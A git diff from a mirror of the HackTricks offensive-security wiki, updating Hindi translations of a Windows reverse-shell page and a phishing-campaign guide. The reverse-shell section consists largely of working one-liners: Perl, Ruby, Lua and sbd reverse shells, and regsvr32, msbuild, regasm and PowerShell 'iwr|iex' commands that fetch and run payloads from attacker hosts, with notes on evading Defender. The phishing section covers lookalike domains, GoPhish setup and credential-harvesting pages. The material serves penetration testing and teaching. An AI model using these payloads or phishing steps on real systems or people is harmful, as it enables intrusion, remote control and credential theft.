mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi
This commit is contained in:
parent
fb289cac54
commit
2e4594e4dd
@ -4,7 +4,7 @@
|
||||
|
||||
## Lolbas
|
||||
|
||||
पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) linux के लिए है।\
|
||||
पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) लिनक्स के लिए है।\
|
||||
स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** का (दुरुपयोग) किया जा सकता है ताकि कुछ अप्रत्याशित क्रियाएँ की जा सकें जैसे **मनमाना कोड निष्पादित करना।**
|
||||
|
||||
## NC
|
||||
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
|
||||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलन योग्य स्रोत पोर्ट और निरंतर पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP संचार के लिए एक बहुपरकारी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण Netcat के लिए एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है।
|
||||
**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलन योग्य स्रोत पोर्ट, और निरंतर पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP संचार के लिए एक बहुपरकारी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण Netcat के लिए एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है।
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
@ -54,7 +54,7 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen(
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## लुआ
|
||||
## Lua
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
||||
```
|
||||
## Regsvr32
|
||||
|
||||
- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**यहां से**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
@ -280,7 +280,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\
|
||||
डिस्क पर लिखा गया पेलोड: **WebDAV क्लाइंट स्थानीय कैश**
|
||||
डिस्क पर लिखा गया पेलोड: **WebDAV client local cache**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
@ -324,7 +324,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
```
|
||||
**नहीं पता चला**
|
||||
|
||||
**आप स्टेजर wmic का उपयोग करके बहुत आसानी से Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं**
|
||||
**आप बहुत आसानी से stager wmic का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं**
|
||||
|
||||
## Msbuild
|
||||
|
||||
@ -332,7 +332,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
आप इस तकनीक का उपयोग एप्लिकेशन व्हाइटलिस्टिंग और Powershell.exe प्रतिबंधों को बायपास करने के लिए कर सकते हैं। आपको एक PS शेल के साथ संकेत दिया जाएगा।\
|
||||
आप इस तकनीक का उपयोग Application Whitelisting और Powershell.exe प्रतिबंधों को बायपास करने के लिए कर सकते हैं। जैसे ही आपको एक PS शेल के साथ संकेत दिया जाएगा।\
|
||||
बस इसे डाउनलोड करें और निष्पादित करें: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
@ -347,11 +347,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe s
|
||||
```
|
||||
आप यहाँ से एक बुनियादी C# रिवर्स शेल डाउनलोड कर सकते हैं: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**नहीं Detected**
|
||||
**Not deteted**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
@ -379,11 +379,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
एक वेब सर्वर में स्क्रिप्ट को सर्व करना शुरू करें और इसे पीड़ित के अंत पर निष्पादित करें:
|
||||
एक वेब सर्वर में स्क्रिप्ट को चालू करें और इसे पीड़ित के अंत पर निष्पादित करें:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी, 3/04/2019)।
|
||||
Defender इसे दुर्भावनापूर्ण कोड के रूप में पहचानता नहीं है (अभी, 3/04/2019).
|
||||
|
||||
**TODO: अन्य nishang शेल की जांच करें**
|
||||
|
||||
@ -391,7 +391,7 @@ Defender इसे दुर्भावनापूर्ण कोड के
|
||||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
डाउनलोड करें, एक वेब सर्वर शुरू करें, श्रोता शुरू करें, और इसे पीड़ित के अंत पर निष्पादित करें:
|
||||
डाउनलोड करें, एक वेब सर्वर शुरू करें, लिस्नर शुरू करें, और इसे पीड़ित के अंत पर निष्पादित करें:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके निष्पादित करें।
|
||||
एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और डाउनलोड करके इसे निष्पादित करें।
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
@ -430,11 +430,11 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का एक पावरशेल संस्करण बनाएं
|
||||
यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का एक पॉवरशेल संस्करण बनाएं
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
बनाए गए संसाधन के साथ msfconsole शुरू करें:
|
||||
msfconsole को बनाए गए संसाधन के साथ शुरू करें:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
@ -446,9 +446,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
|
||||
## अधिक
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल प्रीलोडेड हैं (साइफर्ड)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन है (IEX)
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल कुछ आक्रामक PS मॉड्यूल के साथ प्रीलोडेड (साइफर्ड)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन के साथ (IEX)
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
1. पीड़ित की पहचान करें
|
||||
1. **पीड़ित डोमेन** का चयन करें।
|
||||
2. पीड़ित द्वारा उपयोग किए जाने वाले **लॉगिन पोर्टल्स** की खोज करते हुए कुछ बुनियादी वेब एन्यूमरेशन करें और **निर्णय लें** कि आप किसका **नकली रूप** धारण करेंगे।
|
||||
2. पीड़ित द्वारा उपयोग किए जाने वाले **लॉगिन पोर्टल्स** की कुछ बुनियादी वेब एन्यूमरेशन करें और **निर्णय लें** कि आप किसका **नकली रूप** धारण करेंगे।
|
||||
3. कुछ **OSINT** का उपयोग करके **ईमेल खोजें**।
|
||||
2. वातावरण तैयार करें
|
||||
1. **डोमेन खरीदें** जिसका आप फ़िशिंग आकलन के लिए उपयोग करने जा रहे हैं
|
||||
@ -14,23 +14,23 @@
|
||||
3. **gophish** के साथ VPS कॉन्फ़िगर करें
|
||||
3. अभियान तैयार करें
|
||||
1. **ईमेल टेम्पलेट** तैयार करें
|
||||
2. क्रेडेंशियल्स चुराने के लिए **वेब पेज** तैयार करें
|
||||
2. क्रेडेंशियल चुराने के लिए **वेब पेज** तैयार करें
|
||||
4. अभियान शुरू करें!
|
||||
|
||||
## समान डोमेन नाम उत्पन्न करें या एक विश्वसनीय डोमेन खरीदें
|
||||
|
||||
### डोमेन नाम विविधता तकनीकें
|
||||
|
||||
- **कीवर्ड**: डोमेन नाम में मूल डोमेन का एक महत्वपूर्ण **कीवर्ड** **शामिल** होता है (जैसे, zelster.com-management.com)।
|
||||
- **हाइफनेट सबडोमेन**: एक सबडोमेन के लिए **डॉट को हाइफन** में बदलें (जैसे, www-zelster.com)।
|
||||
- **कीवर्ड**: डोमेन नाम में मूल डोमेन का एक महत्वपूर्ण **कीवर्ड** **शामिल** है (जैसे, zelster.com-management.com)।
|
||||
- **हाइफनेट सबडोमेन**: एक सबडोमेन के **डॉट को हाइफन** में बदलें (जैसे, www-zelster.com)।
|
||||
- **नया TLD**: एक **नए TLD** का उपयोग करते हुए वही डोमेन (जैसे, zelster.org)
|
||||
- **हॉमोग्लिफ**: यह डोमेन नाम में एक अक्षर को **ऐसे अक्षरों से बदलता है जो समान दिखते हैं** (जैसे, zelfser.com)।
|
||||
- **स्थानांतरण:** यह डोमेन नाम में **दो अक्षरों को स्वैप** करता है (जैसे, zelsetr.com)।
|
||||
- **एकवचन/बहुवचन**: डोमेन नाम के अंत में “s” जोड़ता या हटाता है (जैसे, zeltsers.com)।
|
||||
- **अवशेष**: यह डोमेन नाम से **एक** अक्षर को **हटाता है** (जैसे, zelser.com)।
|
||||
- **दोहराव:** यह डोमेन नाम में **एक** अक्षर को **दोहराता है** (जैसे, zeltsser.com)।
|
||||
- **प्रतिस्थापन**: हॉमोग्लिफ की तरह लेकिन कम छिपा हुआ। यह डोमेन नाम में एक अक्षर को बदलता है, शायद कीबोर्ड पर मूल अक्षर के निकट के अक्षर के साथ (जैसे, zektser.com)।
|
||||
- **सबडोमेन**: डोमेन नाम के अंदर एक **डॉट** जोड़ें (जैसे, ze.lster.com)।
|
||||
- **प्रतिस्थापन**: हॉमोग्लिफ की तरह लेकिन कम छिपा हुआ। यह डोमेन नाम में एक अक्षर को बदलता है, शायद कीबोर्ड पर मूल अक्षर के निकटता में एक अक्षर के साथ (जैसे, zektser.com)।
|
||||
- **सबडोमेन**: डोमेन नाम के अंदर एक **डॉट** पेश करें (जैसे, ze.lster.com)।
|
||||
- **सम्मिलन**: यह डोमेन नाम में **एक अक्षर सम्मिलित** करता है (जैसे, zerltser.com)।
|
||||
- **गायब डॉट**: डोमेन नाम के साथ TLD जोड़ें। (जैसे, zelstercom.com)
|
||||
|
||||
@ -53,7 +53,7 @@
|
||||
|
||||
उदाहरण के लिए, "windows.com" डोमेन में एकल बिट संशोधन इसे "windnws.com" में बदल सकता है।
|
||||
|
||||
हमलावर इस पर **लाभ उठा सकते हैं** कि वे पीड़ित के डोमेन के समान कई बिट-फ्लिपिंग डोमेन पंजीकृत करें। उनका इरादा वैध उपयोगकर्ताओं को अपनी खुद की अवसंरचना की ओर पुनर्निर्देशित करना है।
|
||||
हमलावर **इसका लाभ उठाकर कई बिट-फ्लिपिंग डोमेन पंजीकृत कर सकते हैं** जो पीड़ित के डोमेन के समान हैं। उनका इरादा वैध उपयोगकर्ताओं को अपनी खुद की अवसंरचना की ओर पुनर्निर्देशित करना है।
|
||||
|
||||
अधिक जानकारी के लिए पढ़ें [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
@ -65,7 +65,7 @@
|
||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
|
||||
## ईमेल खोजें
|
||||
## ईमेल खोजने
|
||||
|
||||
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% मुफ्त)
|
||||
- [https://phonebook.cz/](https://phonebook.cz) (100% मुफ्त)
|
||||
@ -74,7 +74,7 @@
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
**अधिक** मान्य ईमेल पते खोजने या **पहले से खोजे गए पते** की पुष्टि करने के लिए आप देख सकते हैं कि क्या आप पीड़ित के smtp सर्वरों को ब्रूट-फोर्स कर सकते हैं। [यहां ईमेल पते की पुष्टि/खोजने के तरीके के बारे में जानें](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुंचने के लिए कोई वेब पोर्टल** का उपयोग करते हैं, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए कमजोर है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं।
|
||||
इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुंचने के लिए कोई वेब पोर्टल का उपयोग करते हैं**, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए कमजोर है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं।
|
||||
|
||||
## GoPhish कॉन्फ़िगर करना
|
||||
|
||||
@ -82,7 +82,7 @@
|
||||
|
||||
आप इसे [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) से डाउनलोड कर सकते हैं
|
||||
|
||||
इसे `/opt/gophish` के अंदर डाउनलोड और अनज़िप करें और `/opt/gophish/gophish` चलाएं।\
|
||||
इसे `/opt/gophish` के अंदर डाउनलोड और डिकंप्रेस करें और `/opt/gophish/gophish` चलाएं।\
|
||||
आपको आउटपुट में पोर्ट 3333 पर व्यवस्थापक उपयोगकर्ता के लिए एक पासवर्ड दिया जाएगा। इसलिए, उस पोर्ट तक पहुंचें और व्यवस्थापक पासवर्ड बदलने के लिए उन क्रेडेंशियल्स का उपयोग करें। आपको उस पोर्ट को स्थानीय पर टनल करने की आवश्यकता हो सकती है:
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
@ -221,7 +221,7 @@ service gophish stop
|
||||
```
|
||||
## मेल सर्वर और डोमेन कॉन्फ़िगर करना
|
||||
|
||||
### प्रतीक्षा करें और वैध रहें
|
||||
### प्रतीक्षा करें और वैध बनें
|
||||
|
||||
जितना पुराना एक डोमेन होगा, उतना ही कम संभावना है कि इसे स्पैम के रूप में पकड़ा जाएगा। इसलिए आपको फ़िशिंग मूल्यांकन से पहले जितना संभव हो सके (कम से कम 1 सप्ताह) प्रतीक्षा करनी चाहिए। इसके अलावा, यदि आप किसी प्रतिष्ठित क्षेत्र के बारे में एक पृष्ठ डालते हैं, तो प्राप्त प्रतिष्ठा बेहतर होगी।
|
||||
|
||||
@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
|
||||
आपको **नए डोमेन के लिए DMARC रिकॉर्ड कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है [**इस पृष्ठ को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)।
|
||||
|
||||
आपको एक नया DNS TXT रिकॉर्ड बनाना होगा जो होस्टनेम `_dmarc.<domain>` की ओर इंगित करता है जिसमें निम्नलिखित सामग्री है:
|
||||
आपको एक नया DNS TXT रिकॉर्ड बनाना होगा जो होस्टनाम `_dmarc.<domain>` की ओर इंगित करता है जिसमें निम्नलिखित सामग्री है:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
@ -267,12 +267,12 @@ v=DMARC1; p=none
|
||||
### अपने ईमेल कॉन्फ़िगरेशन स्कोर का परीक्षण करें
|
||||
|
||||
आप [https://www.mail-tester.com/](https://www.mail-tester.com) का उपयोग करके ऐसा कर सकते हैं\
|
||||
बस पृष्ठ पर जाएं और उस पते पर एक ईमेल भेजें जो वे आपको देते हैं:
|
||||
बस पृष्ठ पर जाएं और आपको दिए गए पते पर एक ईमेल भेजें:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
आप अपने **ईमेल कॉन्फ़िगरेशन** की भी जांच कर सकते हैं `check-auth@verifier.port25.com` पर एक ईमेल भेजकर और **प्रतिक्रिया पढ़कर** (इसके लिए आपको **पोर्ट** **25** खोलने की आवश्यकता होगी और यदि आप ईमेल को रूट के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें)।\
|
||||
जांचें कि आप सभी परीक्षणों में पास होते हैं:
|
||||
सुनिश्चित करें कि आप सभी परीक्षणों में पास करते हैं:
|
||||
```bash
|
||||
==========================================================
|
||||
Summary of Results
|
||||
@ -291,7 +291,7 @@ dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Spamhouse ब्लैकलिस्ट से हटाना
|
||||
|
||||
पृष्ठ [www.mail-tester.com](https://www.mail-tester.com) आपको यह बता सकता है कि आपका डोमेन spamhouse द्वारा ब्लॉक किया गया है या नहीं। आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
पृष्ठ [www.mail-tester.com](https://www.mail-tester.com) आपको यह बता सकता है कि क्या आपका डोमेन spamhouse द्वारा ब्लॉक किया गया है। आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Microsoft ब्लैकलिस्ट से हटाना
|
||||
|
||||
@ -305,19 +305,19 @@ dkim=pass header.i=@example.com;
|
||||
- तय करें कि आप फ़िशिंग ईमेल किस खाते से भेजने जा रहे हैं। सुझाव: _noreply, support, servicedesk, salesforce..._
|
||||
- आप उपयोगकर्ता नाम और पासवर्ड को खाली छोड़ सकते हैं, लेकिन सुनिश्चित करें कि Ignore Certificate Errors को चेक करें
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> यह अनुशंसा की जाती है कि आप यह सुनिश्चित करने के लिए "**Send Test Email**" कार्यक्षमता का उपयोग करें कि सब कुछ काम कर रहा है।\
|
||||
> मैं अनुशंसा करूंगा कि **परीक्षण ईमेल 10 मिनट मेल पते पर भेजें** ताकि परीक्षण करते समय ब्लैकलिस्ट में न जाएं।
|
||||
> मैं अनुशंसा करूंगा कि **परीक्षण ईमेल 10 मिनट के मेल पते पर भेजें** ताकि परीक्षण करते समय ब्लैकलिस्ट में न जाएं।
|
||||
|
||||
### ईमेल टेम्पलेट
|
||||
|
||||
- टेम्पलेट को पहचानने के लिए कुछ **नाम सेट करें**
|
||||
- फिर एक **विषय** लिखें (कुछ अजीब नहीं, बस कुछ ऐसा जो आप एक नियमित ईमेल में पढ़ने की उम्मीद कर सकते हैं)
|
||||
- फिर एक **विषय** लिखें (कुछ अजीब नहीं, बस कुछ ऐसा जो आप नियमित ईमेल में पढ़ने की उम्मीद कर सकते हैं)
|
||||
- सुनिश्चित करें कि आपने "**Add Tracking Image**" को चेक किया है
|
||||
- **ईमेल टेम्पलेट** लिखें (आप निम्नलिखित उदाहरण की तरह वेरिएबल का उपयोग कर सकते हैं):
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
@ -348,10 +348,10 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
### लैंडिंग पृष्ठ
|
||||
|
||||
- एक **नाम** लिखें
|
||||
- एक **नाम** लिखें।
|
||||
- **वेब पृष्ठ का HTML कोड** लिखें। ध्यान दें कि आप **वेब पृष्ठों को आयात** कर सकते हैं।
|
||||
- **सबमिट किए गए डेटा को कैप्चर करें** और **पासवर्ड कैप्चर करें** को चिह्नित करें
|
||||
- एक **रीडायरेक्शन** सेट करें
|
||||
- **कैप्चर सबमिटेड डेटा** और **कैप्चर पासवर्ड** को चिह्नित करें।
|
||||
- एक **रीडायरेक्शन** सेट करें।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -360,12 +360,12 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
> ध्यान दें कि यदि आपको HTML के लिए **कुछ स्थिर संसाधनों** का उपयोग करने की आवश्यकता है (शायद कुछ CSS और JS पृष्ठ) तो आप उन्हें _**/opt/gophish/static/endpoint**_ में सहेज सकते हैं और फिर _**/static/\<filename>**_ से उन तक पहुंच सकते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> रीडायरेक्शन के लिए आप **शिकार के वास्तविक मुख्य वेब पृष्ठ पर उपयोगकर्ताओं को रीडायरेक्ट कर सकते हैं**, या उदाहरण के लिए _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, कुछ **स्पिनिंग व्हील** (**[**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही**।
|
||||
> रीडायरेक्शन के लिए आप **उपयोगकर्ताओं को पीड़ित के वैध मुख्य वेब पृष्ठ पर रीडायरेक्ट** कर सकते हैं, या उन्हें उदाहरण के लिए _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, कुछ **स्पिनिंग व्हील** ([**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही।**
|
||||
|
||||
### उपयोगकर्ता और समूह
|
||||
|
||||
- एक नाम सेट करें
|
||||
- **डेटा आयात करें** (ध्यान दें कि उदाहरण के लिए टेम्पलेट का उपयोग करने के लिए आपको प्रत्येक उपयोगकर्ता का पहला नाम, अंतिम नाम और ईमेल पता चाहिए)
|
||||
- एक नाम सेट करें।
|
||||
- **डेटा आयात करें** (ध्यान दें कि उदाहरण के लिए टेम्पलेट का उपयोग करने के लिए आपको प्रत्येक उपयोगकर्ता का पहला नाम, अंतिम नाम और ईमेल पता चाहिए)।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -378,7 +378,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> मैं **10 मिनट के मेल पते पर परीक्षण ईमेल भेजने की सिफारिश करूंगा** ताकि परीक्षण करते समय ब्लैकलिस्ट में न पड़ें।
|
||||
> मैं **10 मिनट के मेल पते पर परीक्षण ईमेल भेजने की सिफारिश करूंगा** ताकि परीक्षण करते समय ब्लैकलिस्ट में न फंसें।
|
||||
|
||||
जब सब कुछ तैयार हो जाए, तो बस अभियान शुरू करें!
|
||||
|
||||
@ -403,9 +403,9 @@ phishing-documents.md
|
||||
|
||||
### प्रॉक्सी MitM के माध्यम से
|
||||
|
||||
पिछला हमला काफी चालाक है क्योंकि आप एक वास्तविक वेबसाइट का अनुकरण कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्यवश, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि आप जिस एप्लिकेशन का अनुकरण कर रहे हैं वह 2FA के साथ कॉन्फ़िगर किया गया है, तो **यह जानकारी आपको धोखे में पड़े उपयोगकर्ता का अनुकरण करने की अनुमति नहीं देगी**।
|
||||
पिछला हमला काफी चालाक है क्योंकि आप एक असली वेबसाइट का अनुकरण कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्यवश, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि आप जिस एप्लिकेशन का अनुकरण कर रहे हैं वह 2FA के साथ कॉन्फ़िगर किया गया है, **तो यह जानकारी आपको धोखे में पड़े उपयोगकर्ता का अनुकरण करने की अनुमति नहीं देगी**।
|
||||
|
||||
यहां ऐसे उपकरण हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) उपयोगी हैं। यह उपकरण आपको एक MitM जैसे हमले को उत्पन्न करने की अनुमति देगा। मूल रूप से, हमले इस प्रकार काम करते हैं:
|
||||
